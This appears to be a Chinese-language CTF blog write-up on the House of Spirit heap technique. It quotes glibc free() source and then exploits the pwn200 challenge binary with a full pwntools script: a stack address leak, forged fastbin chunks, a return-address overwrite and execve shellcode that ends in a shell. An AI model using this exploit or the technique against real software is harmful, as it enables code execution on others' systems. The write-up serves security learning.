House Of Spirit(HOS)

简介

House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。

分别在两个可控区构造chunk数据,来绕过free函数检查,使其以为这整个数据段都是used chunk

Free函数检查机制

free -> __libc_free -> _int_free
__libc_free源码如下:

void
__libc_free (void *mem)   //通用类型的指针,指向 memory 区域  用户数据段
{
  mstate ar_ptr;           //指向 malloc_state 结构体的指针
  mchunkptr p;             //mchunkptr 为指向 malloc_chunk 结构体的指针           /* chunk corresponding to mem */
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);          //定义一个 hook 的函数指针,将 __free_hook 函数指针赋值给他。
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  if (mem == 0)                              /* free(0) has no effect */
    return;
  p = mem2chunk (mem);
  if (chunk_is_mmapped (p))      /* 这里将chunk的M位置零就可以绕过   release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
         Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          && chunksize_nomask (p) > mp_.mmap_threshold
          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
          && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);    //会调用munmap_chunk函数去释放堆块。
      return;
    }
  MAYBE_INIT_TCACHE ();
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}

malloc_chunk 结构体:
typedef struct malloc_chunk* mchunkptr;
struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

_int_free:

 void
  _int_free(mstate av, Void_t* mem)
  {
    mchunkptr       p;           /*指向malloc_chunk结构体 chunk corresponding to mem */
    INTERNAL_SIZE_T size;        /* its size */
    mfastbinptr*    fb;          /* associated fastbin */

    [...]

   p = mem2chunk(mem);
   size = chunksize(p);

   [...]

   /*
     If eligible, place chunk on a fastbin so it can be found
     and used quickly in malloc.
   */

   if ((unsigned long)(size) <= (unsigned long)(av->max_fast)   /*其次,size的大小不能超过fastbin的最大值*/

 #if TRIM_FASTBINS
       /*
        If TRIM_FASTBINS set, don't place chunks
        bordering top into fastbins
       */
       && (chunk_at_offset(p, size) != av->top)
 #endif
       ) {

     if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize (chunk_at_offset (p, size))
                          >= av->system_mem, 0))                        /*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/
       {
        errstr = "free(): invalid next size (fast)";
        goto errout;
       }

     [...]
     fb = &(av->fastbins[fastbin_index(size)]);
     [...]
     p->fd = *fb;
   }

总的来说我们要绕过的有以下几点(还不怎么会分析源码)

  • fake_chunk->size 的M位是0,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem (一句话就是恰当即可)

实例:l-ctf2016–pwn200

checksec

hunter@hunter:~/how2heap/house of spirit$ checksec pwn200
[*] '/home/hunter/how2heap/house of spirit/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
保护全关
执行:
who are u?
AAAA
AAAA, welcome to xdctf~
give me your id ~~?
12
give me money~
12

=======EASY HOTEL========
1. check in
2. check out
3. goodbye
your choice : 

IDA–关键函数分析

int sub_400A8E()

int sub_400A8E()
{
  signed __int64 i; // [rsp+10h] [rbp-40h]
  char v2[48]; // [rsp+20h] [rbp-30h]

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )   //最多读入48个字节
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == '\n' )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to xdctf~\n", v2);
  puts("give me your id ~~?");
  read_self();                                  // 最多读入4个字符
  return check_in();
}

这里v2可以存放0x30个字节,恰好能覆盖完rbp-0x8的数据。
因为read函数不会 在读取完字符串后面加\x00截断符,所以下面的printf可以泄露栈数据:

 R14  0x0
 R15  0x0
 RBP  0x7fffffffde20 —▸ 0x7fffffffde40 —▸ 0x400b60 ◂— push   r15  //此时rbp是0x7fffffffde20 
 RSP  0x7fffffffddd0 —▸ 0x7ffff7dcc2a0 (_IO_file_jumps) ◂— add    byte ptr [rax], al    
*RIP  0x400b0b ◂— call   0x400640
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
   0x400afa    lea    rax, [rbp - 0x30]
   0x400afe    mov    rsi, rax
   0x400b01    mov    edi, 0x400cd1
   0x400b06    mov    eax, 00x400b0b    call   printf@plt <printf@plt>
        format: 0x400cd1 ◂— '%s, welcome to xdctf~\n'
        vararg: 0x7fffffffddf0 ◂— 0x6161616261616161 ('aaaabaaa')

   0x400b10    mov    edi, 0x400ce8
   0x400b15    call   puts@plt <puts@plt>
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32gx 0x7fffffffddf0
0x7fffffffddf0:    0x6161616261616161    0x6161616461616163
0x7fffffffde00:    0x6161616661616165    0x6161616861616167
0x7fffffffde10:    0x6161616a61616169    0x6161616c6161616b    <====数据段与下面一个栈帧没有截断符\x00那么将会把0x00007fffffffde40翻译为字符串输出直到遇到\x00
0x7fffffffde20:    0x00007fffffffde40    0x0000000000400b59    <====rbp指向的栈数据是 0x00007fffffffde40  所以我们获取的地址-0x20就是该函数rbp的值了
0x7fffffffde30:    0x00007fffffffdf28    0x0000000100000000
0x7fffffffde40:    0x0000000000400b60    0x00007ffff7a05b97

我觉得这不算off-by-one
还有一个IDA反编译的坑:执行read_self();函数后会有一个返回值,而这里没有看出返回值放在那个变量里,进入到汇编代码:

.text:0000000000400B10                 mov     edi, offset aGiveMeYourId ; "give me your id ~~?"
.text:0000000000400B15                 call    _puts
.text:0000000000400B1A                 mov     eax, 0
.text:0000000000400B1F                 call    read_self
.text:0000000000400B24                 cdqe
.text:0000000000400B26                 mov     [rbp+var_38], rax   <======所以ID的值被保存在rbp-0x38这里,刚好在v2数组的上面

接下来就是checkin函数

check_in()

int sub_400A29()
{
  char buf; // [rsp+0h] [rbp-40h]
  char *money_p; // [rsp+38h] [rbp-8h]

  money_p = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL);
  strcpy(money_p, &buf);
  ptr = money_p;   //后面会有函数对ptr进行free操作
  return sub_4009C4();
}

checkout():
void sub_40096D()
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;                                  // 堆指针置零
  }
  else
  {
    puts("havn't check in");
  }
}

显然这里可以往buf中读入0x40个字节,也是刚好覆盖rbp-0x8里面的数据,而rbp-0x8放的就是chunk_ptr,也就是money_p 的值。
所以说free的地址是我们可控的

check_in_again()

int sub_4008B7()
{
  size_t nbytes; // [rsp+Ch] [rbp-4h]

  if ( ptr )
    return puts("already check in");
  puts("how long?");
  LODWORD(nbytes) = read_self();
  if ( (signed int)nbytes <= 0 || (signed int)nbytes > 0x80 )
    return puts("invalid length");
  ptr = malloc((signed int)nbytes);             // nbytes 0~0x80
  printf("give me more money : ");
  printf("\n%d\n", (unsigned int)nbytes);
  read(0, ptr, (unsigned int)nbytes);           //对应向ptr_chunk读入一定量字节
  return puts("in~");
}

LODWORD是一个宏定义:返回数据的低字节段 从汇编中这里nbytes是8个字节,LODWORD(nbytes)返回低4字节。

利用思路

因为NX没有开启,栈地址可以泄露,然后可以知道整个栈空间排布。我们可以直接向栈中写入shellcode,然后想办法跳转即可。
从main函数执行到check_in(sub_400A29)函数stack状况:

rbp_old_old是main函数中的rbp值,rbp_old是sub_400A8E函数的rbp值
最上面的rbp就是checkin函数的rbp,因为最后函数还是要通过栈中保存的返回地址来返回,所以我们的目的就是篡改rbp_old下面的rip

利用HOS

  • money为可控区1,伪造chunk_head
  • 下面的rip就是目标数据,修改为shellcode_addr
  • ID是可控区2,伪造next_chunk
  • name空间用来放shellcode

EXP

from pwn import*
context.log_level = 'debug'
context(os='linux',arch='amd64')

sh = process('./pwn200')
#sh = remote('node3.buuoj.cn',28067)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

sh.sendafter('who are u?\n',shellcode.ljust(46,'A')+'bb')
sh.recvuntil('bb',drop=1)
rbp_old_addr = u64(sh.recvuntil(', welcome',drop=1).ljust(8,'\x00'))-0x20    #地址泄露
print ("rbp_old_addr====>" + str(hex(rbp_old_addr)))
shellcode_addr = rbp_old_addr - 0x30                                         #计算shellcode地址
fake_chunk_addr = rbp_old_addr - 0x70
sh.sendlineafter('give me your id ~~?\n','41')                               #41是伪造next_chunk的size字段0x31

money = '\x00'*0x28 + p64(0x41) + p64(0) + p64(fake_chunk_addr)              #这里前面放\x00就会使strcpy失效,截断效果。p64(0x41)是size字段
sh.sendafter('give me money~\n',money)
#gdb.attach(sh)
sh.sendlineafter('your choice : ','2')                                       #free掉这个fake_chunk
sh.sendlineafter('your choice : ','1')                                       

payload = '\x00'*0x10 + p64(rbp_old_addr) + p64(shellcode_addr)              #覆盖rip
sh.sendlineafter('how long?\n','48')                                         #48对应我们释放的那个fake_chunk 
sh.sendline(payload)
#gdb.attach(sh)
sh.sendlineafter('your choice : ','3')

sh.interactive()

结果:

[*] Switching to interactive mode
[DEBUG] Received 0xa bytes:
    'good bye~\n'
good bye~
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

HOS漏洞总结就是:目标数据处于两个可控数据段的中间,堆指针可被覆盖成任意地址

MASS

size_t在C语言中就有了。
它是一种“整型”类型,里面保存的是一个整数,就像int、long那样。这种整数用来记录一个大小(size)。size_t的全称应该是size type,就是说“一种用来记录大小的数据类型”。
通常我们用sizeof(XXX)操作,这个操作所得到的结果就是size_t类型。
因为size_t类型的数据其实是保存了一个整数,所以它也可以做加减乘除,也可以转化为int并赋值给int类型的变量。


  转载请注明: Squarer House Of Spirit(HOS)

 上一篇
Off By One Off By One
介绍主要指程序向缓冲区读入数据时发生溢出,并且只是溢出缓冲区一个字节。这通常是编程者没注意导致的。这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括 使用循
2020-09-27
下一篇 
XCTF-CHALLENGE-supermarket XCTF-CHALLENGE-supermarket
realloc函数 void realloc(void *ptr, size_t size)语法指针名=(数据类型)realloc(要改变内存大小的指针名,新的大小)。新的大小可大可小(如果新的大小大于原内存大小,则新分配部分不会被初始化;
2020-09-14
  目录